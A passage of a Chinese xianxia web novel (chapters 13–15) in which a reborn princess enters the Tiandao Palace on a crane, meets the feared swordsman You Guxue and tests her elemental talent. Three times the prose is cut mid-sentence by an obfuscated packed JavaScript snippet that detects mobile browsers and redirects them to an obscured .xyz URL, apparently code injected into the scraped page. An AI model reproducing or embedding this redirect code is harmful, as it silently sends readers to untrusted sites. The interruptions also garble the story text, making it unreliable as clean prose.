重来一世,慕昭然哪会不清楚这些家伙的脾性,这群仙鹤是灵尊座下豢养的禽鸟,天道宫的弟子私下里都管它们叫仙鹤老爷。 仙鹤老爷个顶个的有脾气,惹恼了它们,它们能追在人屁股后面啄出百里地,除了三尊之外,上到学宫里的师长,下到门内弟子,它们都敢啄上一口。 就是不知像游辜雪那样让人看一眼都犯怵的煞神,它们还敢不敢招惹。 慕昭然前世很喜欢这些有脾气的“恶鸟”,她从匣子里又取了一条灵鱼出来,叫人在鱼尾上系上一条细绳,挂上仙鹤脖子,说道:“你要是能将我平稳送进天道宫,我就多给你一条鱼,要是中途颠着我,那这条鱼你就吃不着了。” 仙鹤小眼珠子一亮,扭了扭身子,谄媚地俯得更低了一些。 慕昭然满意地坐上仙鹤后背,仙鹤直起长腿,第一次在起飞之时用上了助跑,没有直接往上一跳,就弹射起飞,可见有钱也能使鸟推磨。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15169004|165084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仙鹤振动羽翼,踩着凤竹叶尖,平缓地飞上半空,霜序等灵使及侍从则带着余下的行李,在如归楼的安排下,沿山路入天道宫。 慕昭然乘坐仙鹤起飞后,南荣剩下的三人才各自坐了一只仙鹤相继起飞,至于那只狐狸精,这会儿想必正绞尽脑汁地想办法借路费呢。 从半空飞掠过一处院落时,慕昭然在地上也看到了一出好戏。 东境的海外三仙岛全是妖修,且多为水族,一名看上去只十岁上下的小少年,大约很怕禽鸟,抱着柱子死活不肯上鸟背。 嚷道:“就算我现在还不能自己飞,但我们蓬莱有那么多飞鱼舟,为什么不能坐飞鱼舟进去,非要坐这仙鹤?你们都没看见最先那人有多惨吗?我宁愿跟你们走山路入宫!” 少年身旁围了一群人,劝说道:“少主,天道宫遣仙鹤来迎,大家也都坐的仙鹤入门,你要是换了其他飞行法器,岂不显得太过另类?” “少主,属下听说这些仙鹤可都是灵尊大人养的,你不是最敬仰灵尊他老人家么?你若是连他身边灵兽都害怕,还如何能拜入灵尊座下?” “是了,少主,我们知道你害怕,但有些害怕只能由你自己克服。”一个嘴角垂着长长鲶鱼须的圆胖老者从屋里出来,将一屉满满当当的灵石塞进他怀里,“来,你抱着这个,那仙鹤保管不会颠你,颠落一颗,它就少吃一颗。” 旁边的仙鹤看到灵石眼冒精光,迫不及待地跺着脚,三两步跑过去,直接要把脑袋往那小少年的腿下拱,邀请他上自己后背。 蓬莱少主惊声尖叫,“你别动别动!我自己来!” 慕昭然:“……”啧,三仙岛才是真的暴发户吧!怎么可以哄抬路费?一出好戏变成破财戏,这条路线实在没选对。 在身下仙鹤骚动起来之前,慕昭然立即道:“那匣子的灵鱼都给你。” 屁股下的仙鹤顿时飞得更加平稳了,跟在她身后的叶凌烟等人,自然也都多破了些财,毕竟谁也不想在大庭广众之下,被以球一样抛来接去的方式进入天道宫。 仙鹤载着慕昭然穿过那一口金黄大钟,越过内一道玉山门,进入天道宫。 在地上遥望悬山宫阙便已令人惊叹,如今进入天宫,更觉震撼。玉门后方是一片绵延的祥云,云上有一座高耸的龟驮碑,正对玉门的方向,所有进出天道宫之人都能看到那座碑。 碑上金字流传,刻写着一些大道真义,天道宫过往的丰功伟绩云云。入天道宫的第一步便是要对着此碑立誓,承天道浩然正气,斩妖邪,卫苍生。 好在这不是慕昭然第一次进天道宫,那些琼楼玉宇她早看过无数遍,那碑上金字她也看过不止一遍,便也吸引不了她的目光。 她只注意到龟驮碑旁边那一道长身立于剑上的身影。 那人一身雪白长袍,衣袂翻飞,袍袖盈盈,袖边金纹若隐若现,乌黑的长发随风飞扬,发冠中飘扬的两条金色发带在阳光下折射出点点碎光,眉目冷然地等待在龟驮碑旁。 是游辜雪。 慕昭然不由抓紧了身下仙鹤的羽毛,惊愕地睁大眼睛——天可怜见,怎么会是这个煞神?!一入门就这么倒霉,夷则的卦可真是太准了。 她明明记得上一世是云霄飏等候在玉门之后,来接引新弟子入门的。 那也是她初次见到云霄飏,从此便芳心沦陷,苦求无得,一条道走到了众叛亲离,惨死瓮中。 为了防止自己再见他时,又一次控制不住恋爱脑上头,慕昭然从早上起便一直在心里不停地告诫自己,做了许久的心理准备,现在看来,这些心理准备都白做了。 她得赶紧换一个心理准备。 慕昭然惧怕地揉搓着手中羽毛,在心中默念:“别害怕,慕昭然,你还没有犯错,名字还没有被刻上罪碑,他应该是不会随随便便替天行道的!” 14.第 14 章 这要是换了旁人,敢如此蹂躏仙鹤老爷背上的羽毛,早就被甩下后背追着啄了。 但慕昭然出手实在阔绰,看在那一匣子的灵鱼上,仙鹤老爷暂时忍了她,载着她落到游辜雪前方那一片祥云之上,扭转脖子回头朝她警告地叫了一声。 鹤唳声吸引来游辜雪的注意力,他略微偏头,这才将视线从容不迫地移到慕昭然身上,细致地扫过她今日这一身光彩夺目的打扮。 游辜雪身上“替天行道”的凛然之气太过威严,慕昭然魂魄上背着罪印,面对他时总是心虚,她害怕被游辜雪察觉出异常来,只能强迫自己摆出镇定自若的姿态,端坐在仙鹤后背上,行了一礼,唤道:“行天剑君。” 游辜雪看着她,“既入天道宫,便是同门,当以师兄妹相称。” 慕昭然听话地改口:“游师兄。” 她虽行礼,但游移的目光并不敢与他对上,无处着落地飘了飘,最后落到趴在游辜雪旁边那柄剑上的人。 那人一脸菜色,正是最先那个被仙鹤们抛来接去玩进天道宫的倒霉蛋,看衣服上的纹样应该是北境四宗之一玄机阁的人。 此派擅长各种奇技淫巧,常需要投入大量灵石来实验新研制出的机关道具。 现任玄机阁主更是颇多奇思妙想,研制成狂,奈何成品率实在太低,一有失败前期投入的灵石便都报废,不得不常常向外借款,东西南北各大仙门世家,几乎都被她借了个遍。 因玄机阁欠债太多,门派从上到下主张精打细算,势必要将每一颗灵石都花在刀刃上,想来定然是舍不得喂给仙鹤吃的。 慕昭然记得,玄机阁也欠着南荣一笔巨款。 前世,南荣战乱之时,因这一纸欠款,玄机阁也曾支援过父王一批机关械具。 只不过玄机阁害怕涉入南境纷争,只给了机关图纸,不肯派人协助。王军虽得机关,但能操作者却只寥寥,完全无法发挥出这批机关的作用。 后来南荣国破,慕昭然投奔阎罗,阎罗用蛊虫挟持来玄机阁的人,逼迫他们操纵这批机关,带着妖魔邪修杀回了南荣。 此人有没有在阎罗挟持来的那群人当中,又是叫什么名字,慕昭然都不记得了,她前世满心满眼也就只看得见一个云霄飏,对旁的人都不曾上过心。 但玄机阁的人,对自己的大债主可就不能不上心了。 秋道远见慕昭然一直紧盯着自己不放,生怕她张口朝他要钱,忙抬起袖子遮遮掩掩,硬着头皮说道:“圣女殿下,在下方才被仙鹤一通折腾,衣冠不整,实在不雅,求殿下不要如此盯着我看。” 慕昭然:“哦。”目光还是盯着他没动。 没办法,对面就只有他们两人,她不敢看游辜雪,就只能看他了。 慕昭然现在同样如坐针毡,早知道玉门之后是这个煞神在等着接迎新弟子,她就在如归楼里多陪仙鹤玩一会儿了。 南境来的人也就罢了,容亭觉、宁衰和叶凌烟这三人不论眼下心里是怎么想的,他们的表面功夫还是做得很到位,为表敬重,不会越过她去,只尾随在后面,尾随着尾随着,不知怎么就落后了许多。 其他几境的人竟也来得这样慢,就让她一个人冲到了前面,独自面对游辜雪! 简直倒霉透了。 游辜雪看了慕昭然多久,慕昭然就盯着他脚边的秋道远看了多久,连一个正眼都没分给他。 他那冰雪似的眉眼毫无波澜,负在背后的手指微动,缓慢地搓了搓指腹。 旁边的秋道远“嗷”地叫了一声,表情扭曲道:“剑君,您的剑,好像漏、漏电了。”话没说完,屁股上又被电弧打了一下。 慕昭然听到那微弱的电弧“噼啪”声响,心里也跟着一惊一乍。 游辜雪的目光未动,淡漠地回道:“我修行天剑,主雷,剑上会有电弧,实属寻常,秋师弟若不习惯,本君唤一只仙鹤来载你。” 秋道远立即摆手,“不用不用,那还是剑君分出的这一道剑坐着更舒服一些。” 气氛重新静默下去,只偶尔响起一声微弱的电弧声和秋道远的闷哼,慕昭然默默地蜷紧手指,一言不发。 好在没过多久,终于又有人越过玉门,飞到此处。 游辜雪的视线终于从她身上转开,慕昭然松了口气,也终于不再盯着秋道远看。 这一回,人来得很是齐全,一个接一个地坐鹤飞进来,落到这片云上,二十四人一下子全都到齐了。就是众人的表情各异,看着都有些精彩。 尤其是慕昭然在地上时见过的那位小少主,此时脸色铁青地趴在仙鹤背上,感觉都快灵魂出窍了,怀里满满当当的灵石匣子,只剩下一半。 见仙鹤停下,他立即就想跳下鹤背,踩上祥云,可那云团能托仙鹤,却不载人,他脚下踩空险些从云上直接栽下去。 幸好他身下仙鹤一口叼住了灵石匣子,连带着把他也重新捞回自己背上。这下所有人都不敢再轻举妄动。 游辜雪待众人来齐,抬袖挥去,金钟摇晃,钟声一圈圈荡开,散开的云雾重新合拢,环绕在山巅,将这一片悬山宫阙重新从红尘中隔绝,隐入云霓中,遗世而出。 游辜雪视线扫过众人,问道:“何故来迟?” 众人互相看了看,一道娇俏的声音回道:“还不是怪蓬莱岛少主,捧着满满一匣子灵石招摇过市,害得所有仙鹤见了都眼馋,全都去追他了。” 别的仙鹤越是追,蓬莱少主座下的仙鹤为了保住自己口粮,就越是飞得快。 快要冲进玉门时,又撞上容亭觉三人,即便他们都向自己仙鹤许了好处,可空口许诺哪比得上眼前所见?座下仙鹤见了那般热闹场面,岂有不凑之理? 于是,一群仙鹤载着众人,愣是数过玉门而不入,围着天都城上空盘旋了几百圈,让下城百姓看了好一出热闹。 直到时限将满,仙鹤才将他们送入玉门来。 叶凌烟来到慕昭然身边,捂着心口,面色惨淡道:“殿下,还好你进来得早。” 慕昭然默默无语,腹诽道:倒也不见得,比起独自对着游辜雪,她宁愿在外面陪大家一起飙鹤。 即使到了现在,这群仙鹤当中也有些许不老实的,还想暗戳戳挤过去,伸长脖子从蓬莱少主怀里叨灵石。 游辜雪伸手从自己脚下灵剑中抽出一缕电光,甩荡开去,那电光顿时一分二、二分三,化作一个个巴掌大的电圈,套在了所有仙鹤脖子上。 别人或许会看在灵尊的面子上,对这一群禽鸟格外纵容,但游辜雪对人对鹤一视同仁,一身凛然正气,铁面无私道:“这是惩罚。” 电弧劈得一众仙鹤羽毛乱飞,惨叫连连,脖子都快打折。背上众人更是被殃及池鱼,屁股发麻,却又不敢动弹。 ——除了慕昭然和她座下这一只。 她的仙鹤骄傲地挺着胸膛,被收买得很彻底。别鹤抢的都是灵石,它的可是灵鱼,还灵气精纯,好看又好吃,挂在脖子上让别鹤看得见却抢不着,简直倍有面子,才不屑参加那等粗鲁活动,因此没有犯错。 所有人在龟驮碑前相继立过誓,也算是互相报过家门,此后便是正式拜入天道宫成为同窗。 那石碑之内飞出数道金光,落入众人手里的燕金令,洗去令牌上“燕金募秀”四个字,化作一片空白的玉牌。这便是天道宫玉令,往后进出天道宫都得凭此玉令。 做完这些,游辜雪御剑而起,领着一众仙鹤绕行整个天道宫。 仙鹤们被一通惩戒,个个都乖得如同鹌鹑,游辜雪行,它们就载着众人跟在他身后展翅起飞,游辜雪停,它们便拢翅停在周遭的云团上,再不见先前张狂。 果然,恶鸟还需恶人磨。 每到一处地点,游辜雪会停下来简单介绍这一座悬岛的名字,岛内有几座宫殿,各个宫殿的用途,再抽出一道灵气度入众人玉令之中。 那空白的玉令上便会浮出该座宫殿的图腾,以灵识入内,可以看到宫殿更为详实的信息。 待游完整个天道宫,这枚玉令空白被填满,便是一幅天道宫地图,只要玉令上有的地方,都可凭玉令入内。至于不能去的地方,玉令之上不会有,一般弟子也根本找不到。 前世慕昭然经历过这些,只不过是介绍之人换了一个。那时她情窦初开,所以慕昭然对前世的这一段记忆极其深刻,即便她根本就不想记得,可每到一处地方,却还是会不由自主地想起当时情形。 就算她抛开恋爱脑客观来讲,也不得不说,还是云霄飏更适合担当这个任务。 云霄飏不似游辜雪这般冷厉,除了介绍各处地点,还会额外讲一些此地发生的趣事,或是哪处适合听雨,哪处适合观云,哪一处夏日会有满山的萤火虫云云,讲得妙趣横生,引人入胜。 大家费尽周折进入天道宫,自然都对天道宫心怀向往,每个人肚子里都有一箩筐的问题,云霄飏从不厌烦,对每个人的提问都会耐心解答。 遇上天道宫的师兄师姐,顺道还会为众 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15175739|165084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人介绍一番,新人旧人和乐融融,很快打成一片,让刚入门的新弟子到来初日,就能感受到天道宫如家般的温暖。 哪像是现在,不管是鹤还是人,都不敢吱声。每到一个地方,那些师兄师姐远远看见游辜雪,便突然之间分丨身乏术,忙得需要用上瞬影之术跑开,搞得他们这些新弟子面面相觑。 当然,游辜雪也没心情给他们互相介绍,只赶鸭子似的,把他们往各处领,冷冰冰地照本宣科。 “天道宫学宫,按照五行划分,分金、木、水、火、土五宫,比如剑学一门,便在金宫。金木水火四宫按其所属方位,分别位于东南西北这四座悬岛之上,唯有土宫,位于脚下这座中央绝山顶。” 绝山便是这片浩浩平原当中,亦是天都城中唯一的那一座通天山岳,连接着天道宫和下界都城。 土宫位于中央,但专修的弟子却很少,比起其他宫门显得冷清许多。除土宫外,绝山之上还有内事堂,藏经楼,演武场,半山腰上还有大片的灵田药圃和灵兽场等地方,算是天道宫最主要的活动道场,另四座悬岛则拱卫在它四方。 游辜雪说完,也没给众人提问的机会,从绝山抽一缕灵气,送入各人玉令内,这就算介绍完,准备走了。 慕昭然指腹摩挲过玉令上的土宫图腾,回首朝土宫内望了一眼,正好望见几个老头匆匆忙忙从屋内奔出来朝他们招手,其中还有一两张面容瞧着有些眼熟。 可再怎么挽留,仙鹤还是越飞越远。 土宫之中的教学夫子们难得穿了一身体面的衣服,整衣理冠,好好打扮一番,原还等着在测天赋之前,先见一见新来的弟子,努力在他们面前刷一波好感,结果理完衣服一抬头,就只能看见仙鹤屁股了。 “怎么走得这么快!”有夫子气得抖了抖袖口,骂骂咧咧道,“奇怪,不是安排的奉天剑接新么?怎么变成行天剑了?” 另一夫子道:“听说昨日直到后半夜,云霄飏才从外赶回来,还受了很重的伤,游辜雪应是心疼师弟才会代劳。” “哼,还真是个有担当的好师兄。”先前说话的夫子冷哼道,看上去对那位行天剑颇多不满,“游辜雪斩妖除魔是一把好手,但接弟子这种事不适合他,就他那张臭脸还不得把新来的弟子吓出毛病?” 有人正好从内事堂回来,听到议论,接口道:“他今日主动请命,内事堂长老也没办法。毕竟现在三尊座下,只剑尊有俩弟子,他便是天道宫的大师兄,能去接这群新弟子,是他们的福气哩。” “罢了罢了,我们直接去五行台上等着吧,照这样的速度,也用不着等到午后去,他就该赶着新弟子来测天赋了。” 此时此刻,很有福气的新弟子们正为了打起精神,在拼命掐自己大腿。 除了洛金山宁氏的小公子,宁衰。 宁氏先祖为魔所咒,血脉带煞,宁家人都是短命早衰的命格,需取贱名压命。但宁氏铮铮铁骨,不肯向魔低头,因此成就除魔世家,宁小公子平生之志便是斩尽世间一切妖邪,对执掌行天剑替天行道的游辜雪很是崇拜。 游辜雪说的每一个字,他都认真地拿着纸笔记录下来。 慕昭然昨夜没睡好,看着宁衰摇晃的笔头,睡意来得越发凶猛,挡都挡不住,偏又有一根神经吊着,让她不敢在游辜雪面前真的打瞌睡。 每当感觉到游辜雪的视线朝她扫来时,她缓缓垂下的睫毛就会猛地一颤,然后目光炯炯地瞪圆眼睛,至于眼中有没有神,她就顾不上了。 这实在太折磨人了。 游辜雪也发现了这一点,就等着她眼睫要垂不垂的时候看过去,然后再欣赏她努力瞠圆眼睛,用力到眼角都沁出泪花来,眼神比她座下的仙鹤还要痴呆,心中便是一哂。 介绍到演武场时,慕昭然又撑不住快要睡过去,演武场上的只言片语忽然随风飘来她耳边。 “听说云师兄受了伤……快些完成任务去看他……你们去吗……” 慕昭然听到个“云师兄”,心脏怦然一跳,昏昏欲睡的脑子陡然一下清醒过来。 云师兄,天道宫的云师兄也就只有云霄飏了。 游辜雪一直以来毫无起伏的介绍声,便突兀地断了一下,紧缩的瞳孔直直看进她那双突然变得清澈有神的眼睛里,只须臾,又若无其事地移开,续接起前言。 冰冷的躯壳下,却裹着滚沸的熔浆,反复地熬炼那一副无人在意的心肠。 ——慕昭然,你果然还没有对他死心呢。 15.第 15 章 云霄飏竟然受伤了,难怪这次来接新弟子的人换了一个。 慕昭然只从叶离枝那里听说云霄飏去追查她的鬼匪了,秽符被毁,鬼匪也都被灭,她也将痕迹抹除干净了,应当查不到她这里来。 就是不知最后是谁能伤到云霄飏? 总之不管是谁,能重伤云霄飏,也算是帮她出了一口恶气。 云霄飏既然受伤,那短时间内应当是见不到他的,慕昭然听到这么个好消息,心情格外愉悦,一下子精神抖擞,也不打瞌睡了。 可随即转念又一想,不用见云霄飏,就得见游辜雪,手心手背都是屎,这点好心情便也瞬间荡然无存。 慕昭然苦命地叹息一声,转动乌黑的眼珠往游辜雪瞄去,想观察一下云霄飏这位亲师兄的反应,没成想对方已拂袖一甩,转身御剑往前行去,只留给众人一个越发寒气森森的背影。 “现在去最后一处地点,五行台。五行台上有天地初开之时留下的一块混沌原石,可测验五行天赋的优劣,以后你们便可根据自己的天赋所在,选择适合的功法修习。” 慕昭然心中猜测,难怪今日如此着急,可能游辜雪也是想着赶紧完成任务好去看望师弟吧。 前一世云霄飏负责接新时,光是游览整个天道宫就耗费了一整天,直到日暮西垂,众人才登上五行台测天赋。 这一回换做游辜雪,他们就像是一群鸭子一般被他到处赶,还不到半日就走马观花地观完整个天道宫,进行到了最后一道程序。 不过听到测天赋,大家还是一改先前死气沉沉的状态,变得精神奕奕起来,盖因这能精确测验出天赋优劣的混沌原石只此一块。 出了天道宫,修行之人想弄明白自己的天赋,适合的修习功法,全都是靠不停地实践试错,在吸纳灵气时,大致感觉哪种五行灵气更亲近自己,便凭此确定自己属于哪系修士。 是以,一开始很多人都修炼得很杂,体内灵力也驳杂。入天道宫的部分新弟子进入学宫之前,会先进入洗髓池浸泡三日,洗经伐髓,排出体内驳杂灵力,重头开始。 当然这些都是后话了,眼下所有人最期待的还是五行台测天赋。 慕昭然对此却兴致寥寥,甚至一点也不想往五行台去,因为她早就知道自己的天赋结果,再来一次不过是让她再气闷一次罢了。 新弟子这么快就要往五行台去,可把各学宫的夫子们打了个措手不及,纷纷停下手里的事务往五行台跑。 一边跑还一边扶额问:“一般不都是快到日入时分,才能转到五行台么?这都还不到午时呢,怎么这么快?” 便有人接话道:“这次负责接新之人是游辜雪。” 众人一听,都心下了然,只顾御起法宝往五行台赶。 剑尊座下两名亲传弟子性格迥异,那位行天剑君向来不苟言笑,行事利落,能主动担当起接新的任务已是让人觉得不可思议,哪里还能指望他能面面俱到。 游辜雪凭一己之力,把天道宫以往接新的传统时间压缩了一半,不只是学宫的夫子,还有各堂为迎接新弟子做的安排都得提前。 一时间无数流光从天道宫各处宫殿飞出,汇往一地,落入五行台上。 等游辜雪领着一众新弟子到达五行台时,各宫师长已经整整齐齐地坐在五行台旁,俱都笑意盈盈,一脸和蔼地注视着他们的到来。 五行台下还有许多来前来围观的各宫弟子,远远看见他们的身影,便抛洒花瓣,用术法捏出一蓬蓬的焰火欢迎他们。 众新弟子受宠若惊,看了游辜雪一路的冷脸,直到此时,他们才总算感觉到了天道宫同门的热情友好。 仙鹤相继落到地上,将他们送入五行台内。 秋道远实在不习惯人多的场合,直往后边缩去,耳畔听到瀛洲珊瑚族那位大小姐的低声抱怨:“还不快把你们少主扶下来,这么多人看着,别给我们东境仙岛丢人。” 再一看被她嫌弃的蓬莱少主,脸色竟比自己还难看,从仙鹤背上跳下时,膝盖都在发抖,差点跪到地上,幸得身边有人搀扶。 此次东境三仙岛一共得了四枚燕金令,却只有蓬莱和瀛洲两岛各有两人,方丈岛鲛族无人前来。 表面上这一群新弟子都是一起到来,但仔细一看,还是能看出众人还是按照出身来处聚在一起,只有西境禅门那一位佛修,孑然一人,独自站在热闹的人群之外。 秋道远以前倒是经常见到在外传道的禅门佛修,但这世上毕竟修道者多,也就近十年来,佛道才有了一点兴盛之相,信众逐渐增多,这也是天道宫第一回接收禅门弟子。 秋道远左右看了看,自然也退去了北境那一群仙门弟子身后,眼角余光见一道红衣从身旁闪过,定睛一看,是祝轻岚摇着折扇一步一拱手,热情地回应着天道宫师兄、师姐们的盛情相迎。 尤其是漂亮师姐。 “师姐这蓬礼花是从剑气搓成的么?难怪如此明光烁亮,叫人一见难忘,在下南境祝轻岚,不知师姐芳名,以后能否有机会向师姐请教?” 宁衰瞧着他那副不值钱的模样,走近圣女身侧,表情难看道:“那只臭狐狸到处发骚,真给我们南境丢脸,殿下,你也不管管他。” 慕昭然才懒得管,她从仙鹤背上飞身而下,初一落地便吸引来无数目光,抬手接住几片飘飞到身前的花瓣,轻轻一捧,花瓣又从她手心里飞出去,朝向两旁人群甜甜一笑。 抛洒过来的花瓣雨顿时更多了。 叶凌烟跟在慕昭然身边,风头全都被她盖去,默不作声地撇了撇嘴角,心中不太高兴,但就算再不高兴又能如何?她叶凌烟不论被多少人众星拱月地捧着,到了慕昭然面前,也总是那个陪衬,且只能是陪衬。 容亭觉望了一会儿那位备受瞩目的圣女殿下,眼眸微转,落到旁边的叶凌烟身上,将她那片刻不甘的神色默默收入眼底。 南荣瑶光圣女美名远扬,今日一见果真名不虚传,她生得好看,笑容又甜,一身明艳裙装,在纷飞的花瓣下,实在美丽得让人挪不开眼睛,就连那脚一沾地就四处勾搭的狐狸精都停下动作,朝她望过去。 慕昭然早已习惯受人瞩目,落落大方地站在那里,对每一道投来的视线都回以温柔的微笑——经历过前世一遭,慕昭然痛定思痛,也开始学会收敛曾经高高在上的傲慢姿态,懂得做做表面功夫了。 她前世并不在乎这些无关路人的看法,也不屑于向他们释放好意,以至于到最后在同门口中落下个“容貌虽美,可心性丑恶”的评价,她只要和叶离枝站在一起,即便还什么都没做,旁人就觉得是她欺负了叶离枝。 何其可笑。 不过就是装装样子,谁不会呢?你看,就是笑一笑而已,便能换来别人更多的好感。 游辜雪目光落在她唇边笑弧上,漆黑的眼底冰封千里,抬手捻住一片从她手心飞来的花瓣,袖口中夹霜带雪的狂风一啸,将漫天的礼花和焰火涤荡干净。 现场欢欣的气氛霎时凝固,彻底安静下来,所有人都朝他看过去。 属实有些扫兴。 游辜雪视若无睹,抬步走向五行台上混沌原石,混沌原石自天地初开便在这一座峰顶上,经历风吹日晒,表面斑驳沉黑,若不是供奉它的石台上那一圈圈繁重的法阵,它看上去和普通的顽石没甚区别。 只有当开启法阵后,才能从石心内看到流转相生的五行之气。 游辜雪启动石台法阵,开口道:“新弟子上前测验天赋,你先来。” 他目光点向慕昭然身边那一人。 宁衰猝不及防被点中,怔愣一瞬,整了整衣袖,抬头挺胸地走上前,将手掌放到那一墩朴实无华的石头上。 坚硬的石面上忽然漾过一圈水波状的涟漪,石心内原本平衡的五行之气渐渐有了变化,其中代表金木水的三色越来越亮,另外两行的颜色黯淡。 “金、木、水,是三系天赋,金与木相克,看来应该是水系的苗子。”五宫的夫子们盯着原石,坐在一起闲谈。 果然,话音落下不久后,那亮起的三色之中,又有了强弱之分,水系的蓝色光芒确要比另外二系亮眼许多,金系又要比木系强上一些。 他可以单挑一系天赋修炼,也可挑金水两系天赋修炼,只要不自找苦吃地挑相克的金木二系修炼就成。 夫子们看那少年腰间别剑,望向游辜雪的目光毫不掩饰他的崇拜,就知道他的心之所向。时人崇剑道,习剑的修士十有六七,剑学乃是天道宫中一大热门。 现场便有一位主修水系剑法的夫子,眯着一双水光潋滟的凤眸,笑意盈盈地盯着宁衰,俨然已将他划到了自己门下。 “下一个。”游辜雪道,视线从慕昭然身上掠过,点了北境四宗的人上前。 慕昭然百无聊赖地看着那混沌原石内五色光芒不断地变幻,大部分人都和宁衰差不多,拥有双系、三系天赋,可在此天赋下选择适合的道路修炼。 四系天赋者少,五系天赋者更是少之又少,五系天赋虽然能选择的修炼道路更多,但大多天赋不强,修炼的进度也慢,慕昭然见过的五系天赋皆出众者,只有一个,那就是叶离枝。 最后便是单系天赋,没得挑选,只能一条道走到黑。 慕昭然就是这群新弟子当中,唯一的一个单系天赋之人。那暗黄色的光芒从混沌原石中爆发出来,映在慕昭然光洁白皙的脸颊上,将她的脸色也衬成了一脸土色。 没错,她是单系天赋中的土系,一个大多数人都不愿选择修习的道系。 因土系术法大多修炼起来都叫人灰头土脸,不是往土里钻,就是整天捧着石头打滚,实在比不上其他法系潇洒雅观。 就拿游辜雪作比,他分明顶着这样一张生人勿进的冷脸,长身立于剑上时,人与剑绝配,依然美得如同画中仙,就算心里对他有再多畏惧,亦勾得人时不时都想偷偷睨他一眼。 但他若是往土里钻,慕昭然单单只是想想,都不由生出一种“卿本佳人,奈何钻土”的可惜。 且土系属于厚积薄发,往往要修炼到化神境才能发挥出强大的攻击力,实在少有人能耐得住寂寞,精修此道,因此天下成名的土系大能寥寥无几,大约都在这天道宫中了。 看到混沌原石里爆发出的璀璨光芒,土宫中的几位夫子,几乎是当场跳起来,看向慕昭然的表情充满了难以置信,前面测验出来的那几名拥有土系天赋的弟子,都没能令他们这么激动。 单系土行天赋啊!慕昭然就算是想跑都跑不掉!天生就该是他们土宫的新苗苗! 有夫子激动得太过厉害,一时灵力动荡,黄沙从袖口涌出,铺天盖地,只一眨眼便笼罩了整座五行台。 黄沙中传来弟子此起彼伏的呛咳声,“快跑啊!是岑夫子的沙尘暴,不跑就要被埋……咳咳咳……” 黄沙之中几数青光闪过,落地而生一片茂盛的藤蔓,挡住肆虐的黄沙,将大部分弟子护在其下,不知从何处传来其他学宫夫子的咒骂:“岑老头,你怎么老毛病又犯了!还不快把你这黄沙收回去!” 岑夫子慌张道:“莫慌莫慌,老夫已经在扎紧袖口了!” “快点!哎哟,我的眼睛——” 周围乱作一团,唯有混沌原石旁一片寂静,悬于石台上的长剑电光游走,结成一道坚实的屏障,将漫天黄沙阻挡在外,护住了混沌石,亦护住了石旁的慕昭然。 簌簌的走沙声击打在剑光屏障上,像是骤降的一场倾盆大雨。 而被隔绝在这片狭小空间的人,此时正睁大眼睛看着那一柄近在咫尺的行天剑,从魂魄深处涌起抑制不住的战栗。 慕昭然不是第一次见游辜雪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15180473|165084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这柄剑,他先前领着他们环游天道宫时,便是御使的这把剑,可那时候行天剑乖乖待在他的脚下,并未出鞘,她一直都距离它远远的,从未靠近过它的剑光领域。 现在,她却被剑光彻底笼罩其下。 慕昭然头皮一阵发麻,好似那雪亮剑身上游走的雷电已经打在了自己脖子上,她看到它,下意识地便想起了阎罗胸膛上如枝蔓一样密集的雷击纹路,她心脏紧缩,浑身的神经都在叫嚣着逃跑。 跑得远远的,跑出行天剑的剑光笼罩的范围。 她踉跄地往后连退数步,转身想逃时,却猛地撞到一个结实的胸膛上。 头顶传来一道疑惑的问话:“你很害怕我的剑?” 慕昭然抬起头,正对上游辜雪幽深的瞳孔,不待她回答,他便更低地俯下脸来,审视的目光紧紧锁住她的眼睛,薄唇阖动,意味不明道:“我上次看到这般恐惧的表情,还是在失道的罪徒脸上。” 慕昭然浑身一凛,系统忽然在她脑子里叮一声,发出警告的提醒。 “宿主,你魂魄上还背负着前世的罪孽,是行天剑的诛灭对象,最好是离游辜雪远一点,如若被发现,我也救不了你。” 慕昭然:“……”该死的系统,绑定她之前,为什么没有说还会有这样的隐患存在?现在还用得着它提醒么,没看到她刚才已经在准备跑路了么?她也知道远离游辜雪! 不止是因为罪印,还因为她每次看见游辜雪就犯怵,好像自己欠了他百八十条命似的。 但现在显然不是和系统掰扯的时候,慕昭然眼瞳颤了颤,在他仿佛要盯穿灵魂的注视下,硬着头皮道:“我不是怕你的剑,我是怕打雷闪电,从小到大遇上雷雨天气,我都会害怕地躲起来。” “哦,是么?”游辜雪勾手招来行天剑,敛回剑刃上游走的电光,横到她面前,面无表情道,“那你摸一下它。” 慕昭然愕然地睁大眼睛,“什么?” 游辜雪耐心地重复道:“请殿下摸一下它。” 行天剑雪亮的剑刃映照在慕昭然眼中,锋芒刺眼。 她的心脏急促地跳动起来,周围黄沙漫漫,不断击打在剑光结界上,敲打出暴雨般的鸣响,依然无法完全掩盖住她紧张的心跳声。 